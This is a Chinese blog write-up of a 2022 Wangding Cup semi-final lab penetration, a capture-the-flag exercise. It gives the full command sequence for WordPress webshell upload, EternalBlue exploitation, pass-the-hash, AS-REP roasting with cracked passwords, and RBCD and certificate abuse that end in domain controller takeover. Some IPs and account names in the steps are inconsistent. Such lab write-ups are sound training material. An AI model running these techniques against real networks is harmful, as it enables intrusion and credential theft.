2022网鼎杯半决赛复现


2022网鼎杯半决赛复现

flag01

39.99.151.78

XIAORANG.LAB

./fscan -h 39.99.151.78

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.99.151.78:22 open
Open result.txt error, open result.txt: permission denied
39.99.151.78:80 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.151.78      code:200 len:39988  title:XIAORANG.LAB
Open result.txt error, open result.txt: permission denied
已完成 2/2
[*] 扫描结束,耗时: 34.466418575s

访问/wp-admin

弱密码admin/123456

随便找个php加马即可,记得是POST(蚁剑)

GET 对蚁剑不太友好,尤其是传输 payload 或执行命令时,因为:

  1. URL 长度限制:GET 请求的数据会放在 URL 中,过长容易被截断或过滤。
  2. 需要 URL 编码:蚁剑虽然支持 GET,但复杂 payload(比如特殊字符、命令、空格、&、? 等)都得手动 URL 编码。
  3. 浏览器有自动编码功能:浏览器地址栏输入时,它会自动帮你做部分 URL 编码,而蚁剑不一定会自动处理。

可以看到有三个模板,在启用的模板上加马再根据特定的【/wp-content/themes/ 是 WordPress 的标准目录,用来存放主题文件。后面接twentytwentyxxx 是主题名称目录,也就是咱们加上马的主题。】就是

http://39.99.151.78/wp-content/themes/twentytwentytwo/index.php


flag02

./linux_x64_admin -c 39.99.151.78:7879 -s 123
./linux_x64_agent -l 7879 -s 123
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.15.26  netmask 255.255.0.0  broadcast 172.22.255.255

扫一下

172.22.15.26:80 open
172.22.15.26:22 open
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
172.22.15.13:88 open
172.22.15.13:139 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.13:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.18:139 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.24:3306 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.13:445 open
172.22.15.24:445 open
[*] NetInfo 
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetInfo 
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetInfo 
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetInfo 
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] WebTitle http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[*] NetBios 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393
[*] OsInfo 172.22.15.13	(Windows Server 2016 Standard 14393)
[*] NetBios 172.22.15.35    XIAORANG\XR-0687              
[*] NetBios 172.22.15.13    [+] DC:XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393
[+] MS17-010 172.22.15.24	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135    title:None
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
IP 地址 开放端口 主机名 / OS Web 信息 漏洞 / PocScan
172.22.15.26 80, 22 - http://172.22.15.26 → 200 OK, title: XIAORANG.LAB -
172.22.15.13 88, 139, 135, 445 XR-DC01, Windows Server 2016 Standard 14393 - -
172.22.15.18 135, 80, 139, 445 XR-CA, Windows Server 2016 Standard 14393 http://172.22.15.18 → 200 OK, title: IIS Windows Server PocScan: poc-yaml-active-directory-certsrv-detect
172.22.15.24 135, 80, 139, 445, 3306 XR-WIN08, Windows Server 2008 R2 Enterprise 7601 SP1 http://172.22.15.24 → 302 redirect → http://172.22.15.24/wwwhttp://172.22.15.24/www/sys/index.php → 200 OK MS17-010
172.22.15.35 135, 139, 445 XR-0687 - -

看见了永恒之蓝

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set proxies socks5:127.0.0.1:12345(新get)
set RHOSTS 172.22.15.24
exploit

加载powershell添用户

load powershell
powershell_execute "net user qaq qaqa1234! /add"
powershell_execute "net localgroup administrators qaq /add"
proxychains4 xfreerdp /u:qaqwww /p:'qaq@1234' /v:172.30.12.6

或者用route add

这个机器扫出来有永恒之蓝漏洞,我们先用msf进行流量转发然后利用内置payload进行攻击
route add 172.22.15.26/24 5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.1.21`
exploit`
ms17_010_eternalblue连接成功后即可获得meterpreter

或者用蚁剑的插件,将下面的复制在kali里执行即可反弹

cd /usr/share/doc/python3-impacket/examples
proxychains4 impacket-psexec administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

net user qaq Abcd1234 /add
net localgroup administrators qaq /add


会登不上去
proxychains rdesktop 172.22.15.24 -u qaq -p 'Abcd1234'

proxychains4 xfreerdp /u:qaq /p:'Abcd1234' /v:172.22.15.24


发现账号确实是创上了
proxychains4 crackmapexec smb 172.22.15.24 -u 'qaq' -p 'Abcd1234'

这样行了

xfreerdp 降级 TLS/NLA

有些服务器启用了新 TLS,只需加:

/tls-seclevel:0:把 OpenSSL 的安全等级降到 0,允许非常旧的 TLS/算法(很多老 Windows/旧组件只支持 TLS1.0 或弱算法,否则会报 ERRCONNECT_TLS_CONNECT_FAILED)。

/cert:ignore:忽略服务器证书校验(自签或过期证书环境常用)。

/sec:nla:指定安全层为 NLA(Network Level Authentication),也就是先走 CredSSP 认证。

/drive:share,/home/kali

重定向本地目录为远端的一个磁盘

  • share 是映射在远端显示的“盘名”。
  • /home/kali 是你本机要共享出去的目录(目录必须存在)。
  • 登录后在远端 Windows 打开“此电脑/资源管理器”,会看到一个重定向的盘;也可以用 UNC 路径:
    • \\tsclient\share
    • 命令行举例:copy \\tsclient\share\file.txt C:\Users\qaq\Desktop\

想改成共享桌面就写:/drive:share,"/home/kali/桌面"(路径里有空格或中文时建议加引号)。

proxychains4 xfreerdp /u:qaq /p:'Abcd1234' /v:172.22.15.24 /cert:ignore /sec:nla /tls-seclevel:0


flag03

在小皮上发现root的密码

root/root@#123

直接在这台机上http://localhost/phpmyadmin/就行

proxychains4 xfreerdp /u:qaq /p:'Abcd1234' /v:172.22.15.24 /cert:ignore /sec:nla /tls-seclevel:0 /drive:share,/home/kali

ps:3389 是远程桌面(RDP, Remote Desktop Protocol)的默认端口。

导出

也可以弱密码admin/123456进入后台再导密码

admin@xiaorang.lab
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

用 GetNPUsers

proxychains impacket-GetNPUsers -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt

出来了

$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:f00b5bb99c26ee95c3a1ad04c72c86f1$8b0b067fca3492adcb3ccd3209cd32fe81cb7a9d746e497cc0413baf73cadb0160f582748e23d8490bc7b1b75555058f1ca4fc50433efa086e87a93d1c96a575fea8d906b1ec3954a2f2829e9d3766fb5116671e30a0d4142c0e7d55fd9ba41e5fea148a6d5f0cda7a79b185b8c69d47c0e9fee1acad117264356958f3250c6e1a735026df219fa37a69e1ebdef69794f4d6e4b8450b94ba65407037d3d27f7c847908536cc5eaede85eb3bfb021c8ba92a67553e1bbdc3ea76020ca4a6e97d58d544da554e4aa656864bed0a509ed6be1d668056d5a9ab8f4c7c3049123a54e81b689b8f5933d029de07bb7
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:de723d749e3f0dccd5d118f272ef3a19$29014587bdcc4c2dfa5363a66bee0d3abe14a32d1e598cf21c049d50ae5ce468ab1b0a2016fcfc1e6f432235fb8c79eb09f119b9c04f01447d8950ec0ec1339c49c8207594fdcfa8363f739652639640dc24632cac97b8451ee3d3d8d69d519e787747ab502c3d1c7b2a38abb61a03998dc36b2cc662f7595901fcc3685c0e4524dc1b0712118bb2bc161f6f79451da3f70d54cbcfb3e4ef583d9205963597ad97795daa32c8a8dff9b9d8baf54d6b31119e47254704117e79a7da8598d28fb2176fe7e1d01c5780743126fc511973cbfc8dd6daf0fcfaaa80bb85b7af9f194e99c9681c9f80972353220ad5

Kerberos AS-REP 哈希 ($krb5asrep$) John 处理得更好,几乎不依赖 GPU。

john --format=krb5asrep hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt

$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:1qaz2wsx
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:winniethepooh


lixiuying:winniethepooh
huachunmei:1qaz2wsx

172.22.15.35

proxychains4 xfreerdp /u:lixiuying /p:'winniethepooh' /v:172.22.15.35 /cert:ignore /sec:nla /tls-seclevel:0 /drive:share,/home/kali

看一下Bloodhound

proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp

第一条链:RBCD 提权(基于 GenericWrite)

GenericWrite 说明此用户可以修改该计算机账户的某些属性(比如 RBCD 委派配置),这是域内提权的重要入口。

域渗透中可滥用权限及其应用 | Ya1orin🍭

LIXIUYING@XIAORANG.LABXR-0687.XIAORANG.LAB 有 GenericWrite 的权限。打 RBCD(资源基于约束委派)

加一个机器用户

域控 (172.22.15.13) 上添加一台“虚拟机器账户 01$”, 并不是直接在 172.22.15.35(XR-0687)上操作。(所以是172.22.15.13)

proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Abcd1234 -dc-ip 172.22.15.13

使用 SAMR 协议来添加计算机账户。

computer-name 01$

  • 添加的计算机账户名,注意末尾的 $ 是域控要求的形式。
  • 在 Windows AD 中,计算机账户名字通常以 $ 结尾。
  • -dc-ip 永远是域控 IP

tools/PowerView.ps1 at master · shigophilo/tools (github.com)

传个PowerView.ps1

PS C:\Users\lixiuying\Desktop\1> Import-Module .\PowerView.ps1
PS C:\Users\lixiuying\Desktop\1> Get-NetComputer 01 -Properties objectsid

objectsid
---------
S-1-5-21-3745972894-1678056601-2622918667-1151
Import-Module .\PowerView.ps1

导入 PowerView 模块,让你可以使用一系列 AD 枚举函数。

Get-NetComputer 01 -Properties objectsid

Get-NetComputer 用于查询 域内计算机账户信息。

01 是计算机名(你刚用 Impacket 创建的那个计算机账户)。

-Properties objectsid 表示只查询 objectSID 属性。

S-1-5-21-3745972894-1678056601-2622918667 → 域的唯一标识符

1151 → 计算机账户在域内的 相对标识符(RID)

这个 SID 表示 计算机账户 01$ 已成功在域中创建

构造 RBCD ACL,修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1151)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes}

  • 给这个计算机对象设置 RBCD 属性
  • 意思是:允许 指定 SID(你的计算机账户) 代表 XR-0687 发起 Kerberos 委派

之前创建的计算机账户(SID=1151)现在可以 在 Kerberos 上代表 XR-0687 执行身份委派操作

它修改的是 目标机器 XR-0687 的 ACL 属性,并不是给机器账户 01$ 增加了能力,而是 在 XR-0687 上登记了一条“谁可以冒充”的名单

你理解成“机器账户 01$ 获得了能力”没错,但从 AD 的角度,它是通过 修改目标机器 XR-0687 的委派白名单 来实现的。

典型用途:RBCD 权限提升

创建票据

proxychains impacket-getST xiaorang.lab/01\$:Abcd1234 -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 

[*] Saving ticket in administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache

impacket-getST:用来获取 Kerberos 服务票据(Service Ticket,简称 ST)。

xiaorang.lab/'01$':'Abcd1234':使用我们添加的伪造机器账户登录。

-spn cifs/XR-0687.xiaorang.lab:指定服务 SPN(这里是 CIFS 服务,对应文件共享/SMB)。

-impersonate Administrator:冒充 Administrator。

-dc-ip 172.22.15.13:域控 IP。

导入票据

export KRB5CCNAME=administrator.ccache
proxychains impacket-wmiexec -k -no-pass XIAORANG.LAB/administrator@XR-0687.xiaorang.lab -dc-ip 172.22.15.13


klist -c administrator.ccache
export KRB5CCNAME=administrator.ccache

KRB5CCNAME 指定 Kerberos 票据缓存文件

这里你把之前 impacket-getST 保存的 Administrator TGS 设置为当前会话使用

后续 Kerberos 命令或 Impacket 工具会自动使用这个票据

impacket-wmiexec → 利用 WMI(Remote Management) 远程执行命令

-k → 使用 Kerberos 认证

利用 RBCD + Kerberos TGS 权限,在 XR-0687 上以 Administrator 身份执行命令

注意bug:这里如果重复了,重新创建一个TEST用户


flag4

第二条链:证书滥用 + PassTheCert
proxychains certipy-ad zaccount create lixiuying@xiaorang.lab -p winniethepooh -dc -ip 172.22.15.13 -user Test2 -pass Test1234 dns 'XR-DC01.xiaorang.lab'

zaccount create

  • 创建一个 Zaccount(证书账户对象)
  • 在 AD 中,这类账户可以用于 Kerberos 证书认证(PKINIT)

找到可以签发证书的 CA(证书颁发机构)。用 certipy 先枚举一遍可利用的证书模版

proxychains certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13

(这里有点问题)

1.用 lixiuying 登录域控制器

2.Certipy 查询 AD 中的 证书对象、Zaccount 或 SPN 信息

返回结果可以用来:

  • 确认目标账户是否存在可用 Kerberos PKINIT
  • 找到可利用的服务主体进行票据获取或攻击

按流程,用该机器账户向 XR-CA 请求证书

proxychains certipy-ad req -u Tests2\$@xiaorang.lab -p Test1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine

-ca “xiaorang-XR-CA-CA”
指定证书颁发机构(CA)的名字。

-template Machine
指定证书模板为 Machine,这是默认的计算机认证模板,通常用于计算机账户申请 Kerberos 证书。

certipy-ad req
Certipy 的 req(request)模块,用于向 CA 申请证书。

-u Tests2$@xiaorang.lab
这是一个 机器账户(Computer Account),注意 \$ 结尾表示计算机账户
用户名是 Tests2$,域是 xiaorang.lab

在申请 TGT 的时候出现了问题

$ proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: xr-dc01$@xiaorang.lab
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

报错 KDC_ERR_PADATA_TYPE_NOSUPP(域控没启用 PKINIT。)

这个域控不支持 Kerberos PKINIT(智能卡/TLS 证书登录),所以 Certipy 用证书申请 TGT 会失败。

所以用 Schannel 替代 PKINIT

Pass The Certificate when PKINIT Padata Type is NOSUPP | WHOAMI

首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):

certipy-ad cert -pfx xr-dc01.pfx > cert.pem

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
openssl rsa -in cert.pem -out test.key
openssl x509 -in cert.pem -out test.crt

Certipy 导出的 .pfx 格式默认是 PKCS#12,但它没有指定 Windows 所需的 CSP (Cryptographic Service Provider)
导致在 Windows MMC 导入时,可能会提示:

  • “无法导入此证书”
  • “私钥不可导出”
  • 或 RDP、Rubeus 识别失败。

转成 .pem 再转回 .pfx 的目的是:

  • 重新封装成 带 Key Exchange 标志 (-keyex) 且 Windows 认可的 PFX
  • 加入 -CSP "Microsoft Enhanced Cryptographic Provider v1.0",确保兼容 RDP / SChannel / Kerberos PKINIT。

https://github.com/AlmondOffSec/PassTheCert/

用 Schannel 方式验证证书能否登录域控 (whoami)

cd ~/PassTheCert/Python
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

下一步将证书配置到域控的 RBCD, 用 PassTheCert 通过 Schannel 修改 RBCD,通过证书身份验证,以 TEST2$ 机器账户身份写 RBCD,把它委派到 XR-DC01 域控。

proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'

让 TEST2 机器账户可以代表自己请求 XR-DC01 的服务票据 (S4U2Self + S4U2Proxy),从而伪造一个 DC 级别的 TGS,实现提权

接下来和之前一样申请ST

proxychains impacket-getST xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13


proxychains impacket-getST \
    xiaorang.lab/'TEST2$':'P@ssw0rd' \
    -spn cifs/XR-DC01.xiaorang.lab \
    -impersonate Administrator \
    -dc-ip 172.22.15.13 \
    -save

为什么有时候只生成 Administrator.ccache

  • 旧版 Impacket 默认不启用 -save,只简单用模拟账户名命名。
  • 新版才会根据 <impersonate>@<spn>@<domain> 自动拼出全名。

# hosts 文件信息
​
└─# cat /etc/hosts
172.22.15.35 XR-0687.xiaorang.lab
172.22.15.13 XR-DC01.xiaorang.lab
172.22.15.18 XR-CA.xiaorang.lab

接下来导入申请的票据,最后连接即可

export KRB5CCNAME=Administrator.ccache


export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
proxychains -q impacket-psexec -k -no-pass -dc-ip 172.22.15.13 administrator@XR-DC01.xiaorang.lab -codec gbk

或者利用 whoami 师傅的工具,通过证书认证到 LDAPS,添加机器账户 HACK03,并设置 HACK03 到域控制器 XR-DC01 的 RBCD

PassTheCertificate.exe -CertPath .\cert.pfx -MachineAccount HACK03$ -MachinePassword Qwer1234 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"

文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录